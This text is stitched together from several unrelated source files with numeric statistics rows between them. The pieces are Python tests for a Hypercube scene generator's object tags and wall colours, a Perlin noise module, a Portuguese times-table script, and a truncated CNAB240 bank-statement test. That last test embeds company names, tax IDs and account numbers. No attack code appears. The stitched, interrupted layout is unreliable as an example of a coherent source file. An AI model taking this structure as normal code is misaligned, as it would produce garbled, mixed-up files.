scene['goal']['sceneInfo']['untrainedCombination']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['present']['obstacle'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['obstacle'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['obstacle'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['obstacle'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['obstacle'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['obstacle'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['untrainedCategory']['obstacle'] assert scene['goal']['sceneInfo']['count']['all'] == 2 assert scene['goal']['sceneInfo']['count']['obstacle'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_obstacle_untrained_color(): hypercube = MockHypercube() target = create_tags_test_object_1() obstacle = create_tags_test_object_2() obstacle['debug']['untrainedColor'] = True scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects( scene, {'target': [target], 'obstacle': [obstacle]} ) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'obstacle', 'tiny', 'light', 'blue', 'plastic', 'ball', 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained', 'untrained color', } assert set(scene['goal']['objectsInfo']['obstacle']) == { 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'untrained color', 'trained shape', 'trained size', 'uncontained', 'trained combination' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert not scene['goal']['sceneInfo']['contained']['obstacle'] assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['trainedColor']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['present']['obstacle'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['obstacle'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['obstacle'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['obstacle'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['obstacle'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['obstacle'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['untrainedColor']['obstacle'] assert scene['goal']['sceneInfo']['count']['all'] == 2 assert scene['goal']['sceneInfo']['count']['obstacle'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_obstacle_untrained_combination(): hypercube = MockHypercube() target = create_tags_test_object_1() obstacle = create_tags_test_object_2() obstacle['debug']['untrainedCombination'] = True scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects( scene, {'target': [target], 'obstacle': [obstacle]} ) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'obstacle', 'tiny', 'light', 'blue', 'plastic', 'ball', 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained', 'untrained combination' } assert set(scene['goal']['objectsInfo']['obstacle']) == { 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'untrained combination', 'trained shape', 'trained size', 'uncontained' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert not scene['goal']['sceneInfo']['contained']['obstacle'] assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['trainedCombination']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['present']['obstacle'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['obstacle'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['obstacle'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['obstacle'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['obstacle'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['obstacle'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['untrainedCombination']['obstacle'] assert scene['goal']['sceneInfo']['count']['all'] == 2 assert scene['goal']['sceneInfo']['count']['obstacle'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_obstacle_untrained_shape(): hypercube = MockHypercube() target = create_tags_test_object_1() obstacle = create_tags_test_object_2() obstacle['debug']['untrainedShape'] = True scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects( scene, {'target': [target], 'obstacle': [obstacle]} ) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'obstacle', 'tiny', 'light', 'blue', 'plastic', 'ball', 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained', 'untrained shape' } assert set(scene['goal']['objectsInfo']['obstacle']) == { 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'untrained shape', 'trained size', 'uncontained', 'trained combination' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert not scene['goal']['sceneInfo']['contained']['obstacle'] assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['trainedShape']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['present']['obstacle'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedColor']['obstacle'] assert scene['goal']['sceneInfo']['trainedCategory']['obstacle'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['obstacle'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['obstacle'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['obstacle'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['untrainedShape']['obstacle'] assert scene['goal']['sceneInfo']['count']['all'] == 2 assert scene['goal']['sceneInfo']['count']['obstacle'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_obstacle_untrained_size(): hypercube = MockHypercube() target = create_tags_test_object_1() obstacle = create_tags_test_object_2() obstacle['debug']['untrainedSize'] = True scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects( scene, {'target': [target], 'obstacle': [obstacle]} ) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'obstacle', 'tiny', 'light', 'blue', 'plastic', 'ball', 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained', 'untrained size' } assert set(scene['goal']['objectsInfo']['obstacle']) == { 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'untrained size', 'uncontained' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert not scene['goal']['sceneInfo']['contained']['obstacle'] assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['trainedSize']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['present']['obstacle'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['obstacle'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['obstacle'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['obstacle'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['obstacle'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['obstacle'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['untrainedSize']['obstacle'] assert scene['goal']['sceneInfo']['count']['all'] == 2 assert scene['goal']['sceneInfo']['count']['obstacle'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_obstacle_enclosed_untrained_everything(): hypercube = MockHypercube() target = create_tags_test_object_1() obstacle = create_tags_test_object_2() obstacle['locationParent'] = 'parent' obstacle['debug']['untrainedCategory'] = True obstacle['debug']['untrainedColor'] = True obstacle['debug']['untrainedShape'] = True obstacle['debug']['untrainedSize'] = True scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects( scene, {'target': [target], 'obstacle': [obstacle]} ) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'obstacle', 'tiny', 'light', 'blue', 'plastic', 'ball', 'medium', 'light', 'yellow', 'plastic', 'cube', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained', 'contained', 'untrained category', 'untrained color', 'untrained shape', 'untrained size' } assert set(scene['goal']['objectsInfo']['obstacle']) == { 'medium', 'light', 'yellow', 'plastic', 'cube', 'untrained category', 'untrained color', 'untrained shape', 'untrained size', 'contained', 'trained combination' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'trained category', 'trained color', 'trained combination', 'trained shape', 'trained size', 'uncontained' } assert not scene['goal']['sceneInfo']['contained']['target'] assert not scene['goal']['sceneInfo']['trainedCategory']['obstacle'] assert not scene['goal']['sceneInfo']['trainedColor']['obstacle'] assert not scene['goal']['sceneInfo']['trainedShape']['obstacle'] assert not scene['goal']['sceneInfo']['trainedSize']['obstacle'] assert not scene['goal']['sceneInfo']['uncontained']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCategory']['target'] assert not scene['goal']['sceneInfo']['untrainedColor']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert not scene['goal']['sceneInfo']['untrainedShape']['target'] assert not scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['contained']['obstacle'] assert scene['goal']['sceneInfo']['present']['obstacle'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCategory']['target'] assert scene['goal']['sceneInfo']['trainedColor']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['obstacle'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['trainedShape']['target'] assert scene['goal']['sceneInfo']['trainedSize']['target'] assert scene['goal']['sceneInfo']['uncontained']['target'] assert scene['goal']['sceneInfo']['untrainedCategory']['obstacle'] assert scene['goal']['sceneInfo']['untrainedColor']['obstacle'] assert scene['goal']['sceneInfo']['untrainedShape']['obstacle'] assert scene['goal']['sceneInfo']['untrainedSize']['obstacle'] assert scene['goal']['sceneInfo']['count']['all'] == 2 assert scene['goal']['sceneInfo']['count']['obstacle'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def test_Hypercube_tags_target_obstacle_enclosed_untrained_everything(): hypercube = MockHypercube() target = create_tags_test_object_1() target['locationParent'] = 'parent' target['debug']['untrainedCategory'] = True target['debug']['untrainedColor'] = True target['debug']['untrainedShape'] = True target['debug']['untrainedSize'] = True obstacle = create_tags_test_object_2() obstacle['locationParent'] = 'parent' obstacle['debug']['untrainedCategory'] = True obstacle['debug']['untrainedColor'] = True obstacle['debug']['untrainedShape'] = True obstacle['debug']['untrainedSize'] = True scene = hypercube.get_scenes()[0] print(f'{scene}') scene = update_scene_objects( scene, {'target': [target], 'obstacle': [obstacle]} ) assert set(scene['goal']['objectsInfo']['all']) == { 'target', 'obstacle', 'tiny', 'light', 'blue', 'plastic', 'ball', 'medium', 'light', 'yellow', 'plastic', 'cube', 'untrained category', 'untrained color', 'untrained shape', 'untrained size', 'contained', 'trained combination' } assert set(scene['goal']['objectsInfo']['obstacle']) == { 'medium', 'light', 'yellow', 'plastic', 'cube', 'untrained category', 'untrained color', 'untrained shape', 'untrained size', 'contained', 'trained combination' } assert set(scene['goal']['objectsInfo']['target']) == { 'tiny', 'light', 'blue', 'plastic', 'ball', 'untrained category', 'untrained color', 'untrained shape', 'untrained size', 'contained', 'trained combination' } assert not scene['goal']['sceneInfo']['trainedCategory']['obstacle'] assert not scene['goal']['sceneInfo']['trainedCategory']['target'] assert not scene['goal']['sceneInfo']['trainedColor']['obstacle'] assert not scene['goal']['sceneInfo']['trainedColor']['target'] assert not scene['goal']['sceneInfo']['trainedShape']['obstacle'] assert not scene['goal']['sceneInfo']['trainedShape']['target'] assert not scene['goal']['sceneInfo']['trainedSize']['obstacle'] assert not scene['goal']['sceneInfo']['trainedSize']['target'] assert not scene['goal']['sceneInfo']['uncontained']['obstacle'] assert not scene['goal']['sceneInfo']['uncontained']['target'] assert not scene['goal']['sceneInfo']['untrainedCombination']['obstacle'] assert not scene['goal']['sceneInfo']['untrainedCombination']['target'] assert scene['goal']['sceneInfo']['contained']['obstacle'] assert scene['goal']['sceneInfo']['contained']['target'] assert scene['goal']['sceneInfo']['present']['obstacle'] assert scene['goal']['sceneInfo']['present']['target'] assert scene['goal']['sceneInfo']['trainedCombination']['obstacle'] assert scene['goal']['sceneInfo']['trainedCombination']['target'] assert scene['goal']['sceneInfo']['untrainedCategory']['obstacle'] assert scene['goal']['sceneInfo']['untrainedCategory']['target'] assert scene['goal']['sceneInfo']['untrainedColor']['obstacle'] assert scene['goal']['sceneInfo']['untrainedColor']['target'] assert scene['goal']['sceneInfo']['untrainedShape']['obstacle'] assert scene['goal']['sceneInfo']['untrainedShape']['target'] assert scene['goal']['sceneInfo']['untrainedSize']['obstacle'] assert scene['goal']['sceneInfo']['untrainedSize']['target'] assert scene['goal']['sceneInfo']['count']['all'] == 2 assert scene['goal']['sceneInfo']['count']['obstacle'] == 1 assert scene['goal']['sceneInfo']['count']['target'] == 1 def retrieve_object_list_from_data(object_data): return [object_data] def test_update_floor_and_walls(): template = { 'floorMaterial': [], 'wallMaterial': [], 'debug': { 'floorColors': [], 'wallColors': [] } } for color_1 in [ 'black', 'blue', 'brown', 'green', 'grey', 'orange', 'purple', 'red', 'white', 'yellow' ]: print(f'COLOR_1 {color_1}') # Test with no objects body_template = copy.deepcopy(template) body_template['debug']['floorColors'] = [color_1] body_template['floorMaterial'] = [color_1] body_template['debug']['wallColors'] = [color_1] body_template['wallMaterial'] = [color_1] role_to_object_data_list = {} scenes = [copy.deepcopy(body_template), copy.deepcopy(body_template)] update_floor_and_walls( body_template, role_to_object_data_list, retrieve_object_list_from_data, scenes ) for scene in scenes: assert scene['debug']['floorColors'] == [color_1] assert scene['floorMaterial'] == [color_1] assert scene['debug']['wallColors'] == [color_1] assert scene['wallMaterial'] == [color_1] # Test with one object body_template = copy.deepcopy(template) body_template['debug']['floorColors'] = [color_1] body_template['floorMaterial'] = [color_1] body_template['debug']['wallColors'] = [color_1] body_template['wallMaterial'] = [color_1] role_to_object_data_list = { 'target': [{'debug': {'color': [color_1]}}] } scenes = [copy.deepcopy(body_template), copy.deepcopy(body_template)] update_floor_and_walls( body_template, role_to_object_data_list, retrieve_object_list_from_data, scenes ) for scene in scenes: assert scene['debug']['floorColors'] != [color_1] assert scene['floorMaterial'] != [color_1] assert scene['debug']['wallColors'] != [color_1] assert scene['wallMaterial'] != [color_1] for color_2 in [ 'black', 'blue', 'brown', 'green', 'grey', 'orange', 'purple', 'red', 'white', 'yellow' ]: if color_1 == color_2: continue print(f'COLOR_2 {color_2}') # Test with one objects body_template = copy.deepcopy(template) body_template['debug']['floorColors'] = [color_1] body_template['floorMaterial'] = [color_1] body_template['debug']['wallColors'] = [color_2] body_template['wallMaterial'] = [color_2] role_to_object_data_list = { 'target': [{'debug': {'color': [color_1]}}] } scenes = [ copy.deepcopy(body_template), copy.deepcopy(body_template) ] update_floor_and_walls( body_template, role_to_object_data_list, retrieve_object_list_from_data, scenes ) for scene in scenes: assert scene['debug']['floorColors'] != [color_1] assert scene['floorMaterial'] != [color_1] assert scene['debug']['wallColors'] == [color_2] assert scene['wallMaterial'] == [color_2] # Test with multiple objects body_template = copy.deepcopy(template) body_template['debug']['floorColors'] = [color_1] body_template['floorMaterial'] = [color_1] body_template['debug']['wallColors'] = [color_2] body_template['wallMaterial'] = [color_2] role_to_object_data_list = { 'target': [{'debug': {'color': [color_1]}}], 'non_target': [{'debug': {'color': [color_2]}}] } scenes = [ copy.deepcopy(body_template), copy.deepcopy(body_template) ] update_floor_and_walls( body_template, role_to_object_data_list, retrieve_object_list_from_data, scenes ) for scene in scenes: assert scene['debug']['floorColors'] != [color_1] assert scene['debug']['floorColors'] != [color_2] assert scene['floorMaterial'] != [color_1] assert scene['floorMaterial'] != [color_2] assert scene['debug']['wallColors'] != [color_2] assert scene['debug']['wallColors'] != [color_1] assert scene['wallMaterial'] != [color_2] assert scene['wallMaterial'] != [color_1]

45.74114

79

0.621236

5,721

59,372

6.357105

0.023772

0.124722

0.222222

0.172895

0.965438

0.957711

0.952157

0.947538

0.941351

0.940829

0

0.003911

0.173179

59,372

1,297

80

45.776407

0.736953

0.001516

0

0.808696

0

0.40557

0.000439

0

0.456522

1

0.025217

false

0

0.002609

0.004348

0.033043

0.01913

0

null

0

1

0

1

0

null

0

1

0

10

889552c4e292da89f64010a9aa84d9705edea890

3,214

py

Python

processing/fbm/simplex.py

sol-ansano-kim/noise

5213ac122cf9307d075dcef955547458e35bce81

[ "MIT" ]

null

processing/fbm/simplex.py

sol-ansano-kim/noise

5213ac122cf9307d075dcef955547458e35bce81

[ "MIT" ]

null

processing/fbm/simplex.py

sol-ansano-kim/noise

5213ac122cf9307d075dcef955547458e35bce81

[ "MIT" ]

1

2021-04-29T12:39:01.000Z

# Noise1234 Stefan Gustavson (stegu@itn.liu.se) # Ken Perlin at Siggraph 2002 Perm = [151, 160, 137, 91, 90, 15, 131, 13, 201, 95, 96, 53, 194, 233, 7, 225, 140, 36, 103, 30, 69, 142, 8, 99, 37, 240, 21, 10, 23, 190, 6, 148, 247, 120, 234, 75, 0, 26, 197, 62, 94, 252, 219, 203, 117, 35, 11, 32, 57, 177, 33, 88, 237, 149, 56, 87, 174, 20, 125, 136, 171, 168, 68, 175, 74, 165, 71, 134, 139, 48, 27, 166, 77, 146, 158, 231, 83, 111, 229, 122, 60, 211, 133, 230, 220, 105, 92, 41, 55, 46, 245, 40, 244, 102, 143, 54, 65, 25, 63, 161, 1, 216, 80, 73, 209, 76, 132, 187, 208, 89, 18, 169, 200, 196, 135, 130, 116, 188, 159, 86, 164, 100, 109, 198, 173, 186, 3, 64, 52, 217, 226, 250, 124, 123, 5, 202, 38, 147, 118, 126, 255, 82, 85, 212, 207, 206, 59, 227, 47, 16, 58, 17, 182, 189, 28, 42, 223, 183, 170, 213, 119, 248, 152, 2, 44, 154, 163, 70, 221, 153, 101, 155, 167, 43, 172, 9, 129, 22, 39, 253, 19, 98, 108, 110, 79, 113, 224, 232, 178, 185, 112, 104, 218, 246, 97, 228, 251, 34, 242, 193, 238, 210, 144, 12, 191, 179, 162, 241, 81, 51, 145, 235, 249, 14, 239, 107, 49, 192, 214, 31, 181, 199, 106, 157, 184, 84, 204, 176, 115, 121, 50, 45, 127, 4, 150, 254, 138, 236, 205, 93, 222, 114, 67, 29, 24, 72, 243, 141, 128, 195, 78, 66, 215, 61, 156, 180, 151, 160, 137, 91, 90, 15, 131, 13, 201, 95, 96, 53, 194, 233, 7, 225, 140, 36, 103, 30, 69, 142, 8, 99, 37, 240, 21, 10, 23, 190, 6, 148, 247, 120, 234, 75, 0, 26, 197, 62, 94, 252, 219, 203, 117, 35, 11, 32, 57, 177, 33, 88, 237, 149, 56, 87, 174, 20, 125, 136, 171, 168, 68, 175, 74, 165, 71, 134, 139, 48, 27, 166, 77, 146, 158, 231, 83, 111, 229, 122, 60, 211, 133, 230, 220, 105, 92, 41, 55, 46, 245, 40, 244, 102, 143, 54, 65, 25, 63, 161, 1, 216, 80, 73, 209, 76, 132, 187, 208, 89, 18, 169, 200, 196, 135, 130, 116, 188, 159, 86, 164, 100, 109, 198, 173, 186, 3, 64, 52, 217, 226, 250, 124, 123, 5, 202, 38, 147, 118, 126, 255, 82, 85, 212, 207, 206, 59, 227, 47, 16, 58, 17, 182, 189, 28, 42, 223, 183, 170, 213, 119, 248, 152, 2, 44, 154, 163, 70, 221, 153, 101, 155, 167, 43, 172, 9, 129, 22, 39, 253, 19, 98, 108, 110, 79, 113, 224, 232, 178, 185, 112, 104, 218, 246, 97, 228, 251, 34, 242, 193, 238, 210, 144, 12, 191, 179, 162, 241, 81, 51, 145, 235, 249, 14, 239, 107, 49, 192, 214, 31, 181, 199, 106, 157, 184, 84, 204, 176, 115, 121, 50, 45, 127, 4, 150, 254, 138, 236, 205, 93, 222, 114, 67, 29, 24, 72, 243, 141, 128, 195, 78, 66, 215, 61, 156, 180] def fade(t): return (t * t * t * (t * (t * 6 - 15) + 10)) def floor(x): return int(x) if x > 0 else int(x) - 1 def lerp(v1, v2, w): return v1 + w * float(v2 - v1) def gradient(hash, x): h = hash & 15 grad = 1 + (h & 7) if (h & 8): grad *= -1 return (grad * x) def noise(x): ix0 = floor(x) fx0 = x - ix0 fx1 = fx0 - 1.0 ix1 = (ix0 + 1) & 0xff ix0 = ix0 & 0xff s = fade(fx0) return 0.188 * lerp(gradient(Perm[ix0], fx0), gradient(Perm[ix1], fx1), s)

45.914286

80

0.506845

616

3,214

2.644481

0.477273

0.004911

0.005525

0.013505

0.807858

0

0.60856

0.302116

3,214

69

81

46.57971

0.1177

0.022713

0

0.002549

0

1

0.09434

false

0

0.056604

0.188679

0

null

0

1

0

1

0

1

0

null

0

8

ee0349f14e250a2c831e6cba59f686a29bc45991

1,456

py

Python

Curso_Gustavo_Guanabara/Exercico(Tabuada).py

Nathan120/Arq_Python_CursoEmVideo

d6269eeaa8db57d1ffa8ed66e1936a061803f37e

[ "MIT" ]

null

Curso_Gustavo_Guanabara/Exercico(Tabuada).py

Nathan120/Arq_Python_CursoEmVideo

d6269eeaa8db57d1ffa8ed66e1936a061803f37e

[ "MIT" ]

null

Curso_Gustavo_Guanabara/Exercico(Tabuada).py

Nathan120/Arq_Python_CursoEmVideo

d6269eeaa8db57d1ffa8ed66e1936a061803f37e

[ "MIT" ]

null

print('----------TABUADA------') while True: escolha = int(input('Ecolha o número para mostra na Tabela(0-9) = ')) if escolha == 0: for i in range(11): print('{} x {} = {}'.format(escolha, i, escolha*i)) if escolha == 1: for i in range(11): print('{} x {} = {}'.format(escolha, i, escolha*i)) if escolha == 2: for i in range(11): print('{} x {} = {}'.format(escolha, i, escolha*i)) if escolha == 3: for i in range(11): print('{} x {} = {}'.format(escolha, i, escolha*i)) if escolha == 4: for i in range(11): print('{} x {} = {}'.format(escolha, i, escolha*i)) if escolha == 5: for i in range(11): print('{} x {} = {}'.format(escolha, i, escolha*i)) if escolha == 6: for i in range(11): print('{} x {} = {}'.format(escolha, i, escolha*i)) if escolha == 7: for i in range(11): print('{} x {} = {}'.format(escolha, i, escolha*i)) if escolha == 8: for i in range(11): print('{} x {} = {}'.format(escolha, i, escolha*i)) if escolha == 9: for i in range(11): print('{} x {} = {}'.format(escolha, i, escolha*i)) if escolha == 10: for i in range(11): print('{} x {} = {}'.format(escolha, i, escolha*i)) saida = input('Deseja Fazer mais uma operação?[s/n]') if saida == 'n': break

36.4

73

0.468407

194

1,456

3.515464

0.216495

0.258065

0.096774

0.177419

0.793255

0

0.036697

0.326236

1,456

39

74

37.333333

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0

0.564103

0

0.162775

0.015797

0

1

0

false

0

0.307692

0

null

1

0

1

0

1

0

null

0

7

ee416b467ffc201530f2413c5300d28e15c9c30b

5,129

py

Python

tests/statement/test_statement.py

netosjb/febraban-python

a546fa3353d2db1546df60f6f8cc26c7c862c743

[ "MIT" ]

3

2021-05-04T16:07:24.000Z

2022-03-06T22:08:37.000Z

tests/statement/test_statement.py

netosjb/febraban-python

a546fa3353d2db1546df60f6f8cc26c7c862c743

[ "MIT" ]

2

2021-03-01T00:06:57.000Z

2021-03-01T00:14:55.000Z

tests/statement/test_statement.py

netosjb/febraban-python

a546fa3353d2db1546df60f6f8cc26c7c862c743

[ "MIT" ]

1

2021-08-18T03:05:43.000Z

from unittest.case import TestCase from febraban.cnab240.statement import StatementParser returnFile = \ """ 07700000 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA BANCO INTER S.A. 21211202016361800001610100000 000 07700011E0440033 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA 17082020000000000000732846CFBRL00016 0770001300001E 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA 00 S1908202019082020000000000000082240D1127059PAGAMENTO DE TITULO 026135 0770001300002E 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA 00 S2008202020082020000000000000264357D1127045PAGAMENTO DE CONVENIO 000000 0770001300003E 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA 00 S2008202020082020000000000000433675D1127045PAGAMENTO DE CONVENIO 000000 0770001300004E 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA 00 S2008202020082020000000000000084054D1127045PAGAMENTO DE CONVENIO 000000 0770001300005E 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA 00 S2008202020082020000000000000200000C2067211RESGATE 672827 0770001300006E 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA 00 S2108202021082020000000000000144000C2017193DEPOSITO BOLETO 24 HORAS 000000 0770001300007E 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA 00 S2108202021082020000000000000600000C2017193DEPOSITO BOLETO 24 HORAS 000000 0770001300008E 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA 00 S2108202021082020000000000000100000C2017193DEPOSITO BOLETO 24 HORAS 000000 0770001300009E 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA 00 S2108202021082020000000000000131800C2017193DEPOSITO BOLETO 24 HORAS 000000 0770001300010E 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA 00 S2108202021082020000000000000098000C2017193DEPOSITO BOLETO 24 HORAS 000000 0770001300011E 223130935000198 0000190000014054310 KMEE INFORMATICA LTDA 00 S2108202021082020000000000000080000C2017193DEPOSITO BOLETO 24 HORAS 000000 0770001300012E 223130935000198 0000190000014054310 